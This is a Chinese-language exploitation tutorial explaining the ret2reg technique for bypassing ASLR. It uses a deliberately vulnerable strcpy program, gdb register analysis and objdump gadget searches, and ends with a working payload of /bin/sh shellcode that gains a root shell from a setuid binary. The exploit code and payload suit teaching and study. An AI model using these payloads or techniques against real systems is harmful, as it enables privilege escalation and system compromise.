前面介绍的攻击方法,EIP注入的地址必须是一个确定地址,否则无法攻击成功,为了与本文介绍的攻击方法形成比对,我将前面的方法称为ret2addr(return-to-address,返回到确定地址执行的攻击方法)。
安全人员为保护免受ret2addr攻击,想到了一个办法,那就是地址混淆技术。该述语英文称为 Address Space Randomize Layout,直译为地址随机化。该技术将栈,堆和动态库空间全部随机化。在32位系统上,随机量在64M范围;而在64位系统,它的随机量在2G范围,因此原来的ret2addr技术无法攻击成功。
很快攻击者想到另一种攻击方法ret2reg,即return-to-register,返回到寄存地址执行 的攻击方法。
它的原理很简单
1) 分析和调试汇编,看溢出函返回时哪个寄存值指向溢出缓冲区空间
2)然后反编译二进制,查找call reg 或者jmp reg指令,将该指令所在的地址注入到 EIP
3)再在reg指向的空间上注入Shellcode
此攻击方法之所以能成功,是因为函数内部实现时,溢出的缓冲区地址通常会加载到某个寄存器上,在后在的运行过程中不会修改。尽管栈空间具有随机性,但该寄存器的值与缓冲区地址的关系是确定的,在随机地址之上,建立了必然的地址关系。一句话就是 在随机性上找到地址的确定性关系。
攻击准备
打开Linux的地址混淆功能:
echo 2 > /proc/sys/kernel/randomize_va_space
漏洞程序
编写如下的程序,源文件命名为stack2.c
#include <stdio.h> #include <string.h> void evilfunction(char *input) { char buffer[512]; strcpy(buffer, input); } int main(int argc, char **argv) { evilfunction(argv[1]); return 0; }
代码一目了然,有缓冲区溢出问题,不作过多解释。
编译命令如下:
$ gcc -Wall -g -o stack2 stack2.c -z execstack -m32 -fno-stack-protector
对准EIP
还是老方法,第一步首先是对准EIP,由于buffer变量的大小是512字节,那我们的填充内容 从 512个A和BBBB开始,每次增加4个A,直到将BBBB注入到EIP。下面成功将BBBB注入EIP的结果:
$ ./stack2 $(perl -e ‘printf "A"x524 . "BBBB"‘)
$ gdb ./stack2 core -q
Reading symbols from /home/ivan/exploit/stack2...done.
[New LWP 3979]
warning: Can‘t read pathname for load map: Input/output error.
Core was generated by `./stack2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA‘.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) info registers
eax 0xfff94ed0 -438576
ecx 0xfff96500 -432896
edx 0xfff950d8 -438056
ebx 0xf7758ff4 -143290380
esp 0xfff950e0 0xfff950e0
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x424242420x42424242
eflags 0x10202 [ IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x00
gs 0x6399
确定哪个寄存器与缓冲区有确定性的关系
如果你一步一步地按ret2addr攻击方法操作并攻击成功,那么你会发现此时的esp就是指向注入EIP的下一个地址。如果你能在程序中找到call esp或者jmp esp这样的指令,就可以将EIP注入该指令地址,并且在EIP后面注入shellcode,那就彻底绕过地址混淆保护方法。
可惜的是,整个程序都找到这样的指令。OK,那我们退而求其次……
认真观察一下evilfunction函数的反编译:
(gdb) disassemble evilfunction Dump of assembler code for function evilfunction: 0x080483e4 <+0>: push %ebp 0x080483e5 <+1>: mov %esp,%ebp 0x080483e7 <+3>: sub $0x218,%esp 0x080483ed <+9>: mov 0x8(%ebp),%eax 0x080483f0 <+12>: mov %eax,0x4(%esp) 0x080483f4 <+16>: lea -0x208(%ebp),%eax 0x080483fa <+22>: mov %eax,(%esp) <-- strcpy的第一参数,buffer保存在eax中 0x080483fd <+25>: call 0x8048300 <[email protected]> 0x08048402 <+30>: leave 0x08048403 <+31>: ret End of assembler dump.
发现调用strcpy函数前,eax指向buffer地址;但是eax属于caller-save寄存器,strcpy函数是否会将它改掉呢?我们就以对准EIP生成的core文件,分析一下strcpy函数中是否更改了eax:
生成core是,eax 值为0xfff94ed0,使用x命令查看它是否指向一块内容为AAAA的内存:
(gdb) x/40xw
0xfff94ed0 - 0x10
0xfff94ec0:0xfff94ed00xfff962f80xf779353c0x00000020
0xfff94ed0:0x414141410x414141410x414141410x41414141
0xfff94ee0:0x414141410x414141410x414141410x41414141
0xfff94ef0:0x414141410x414141410x414141410x41414141
0xfff94f00:0x414141410x414141410x414141410x41414141
0xfff94f10:0x414141410x414141410x414141410x41414141
0xfff94f20:0x414141410x414141410x414141410x41414141
0xfff94f30:0x414141410x414141410x414141410x41414141
0xfff94f40:0x414141410x414141410x414141410x41414141
0xfff94f50:0x414141410x414141410x414141410x41414141
果然eax就是buffer缓冲区的地址。
查找call eax/jmp eax指令
前文提到,已将地址混淆地址打开,就算找到call eax/jmp eax指令的地址也是随机的,每次运行不确定,造成攻击不成功。
前文提到使用 echo 2 > /proc/sys/kernel/randomize_va_space 命令将地址混淆技术启用,但该技术对栈空间,堆地址和动态库加载空间都进行了混淆,唯独没有对程序做地址混淆。
事实上Linux gcc编译器提供了-fPIE选项,但用它来编译,可使程序空间做地址混淆,造成整个进程地址混淆。但一般的开源软件和商用Linux发行商的服务进程并没有使用-fPIE进行安全增加,还是留下了可利用空间。注意到,
stack2在编译时没有使用-fPIE选项。
使用objdump和grep命令查看是否有与eax/esp相关的转跳指令:
$ objdump -d stack2 | grep *%eax
80483df: ff d0 call *%eax
80484cb: ff d0 call *%eax
$ objdump -d stack2 | grep *%esp
找到两条 call *%eax指令。
好,就利用0x80483df地址上的call *%eax指令,将\xdf\x83\x04\x08注入到EIP,让函数返回时,执行call *%eax,跳到缓冲区的开始地址去执行;接着我们小心翼翼地址将shellcode放到buffer开始地址即可。
因此注入内容格式如下:
ShellCode(N) + A(524-N) + \xdf\x83\x04\x08
攻击测试
在如何编写本地shellcode 中介绍了打开sh的shellcode,就使用这个shellcode进行测试。该shellcode内容:
\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80
长度为25个字节,即上述注入内容格式中的N为25:
\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80
+ Ax499 + \xdf\x83\x04\x08
为了更方法验证攻击功,我们将stack2的owner设置为root,并带S位,让普通用户也能执行。
$ sudo chown root:root ./stack2
$ sudo chmod a+s ./stack2
最后时刻:
$ ./stack2 $(perl -e ‘printf "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80" . "A"x499 ."\xdf\x83\x04\x08"‘)
# whoami
root
#
击攻成功,打开新sh,从普通用户权限提升成root.
小结
其实ret2reg方法,并不是总能攻击成功了,如果程序strcpy或者后面的代码复用了eax寄存,那eax跟buffer就没有关毛钱关系,无法建立确定性。
ret2reg方法核心是:找到寄存器与缓冲区地址的确定性关系,然后从程序中搜索call reg/jmp reg这样的指令;如果两者条件满足,则存利用空间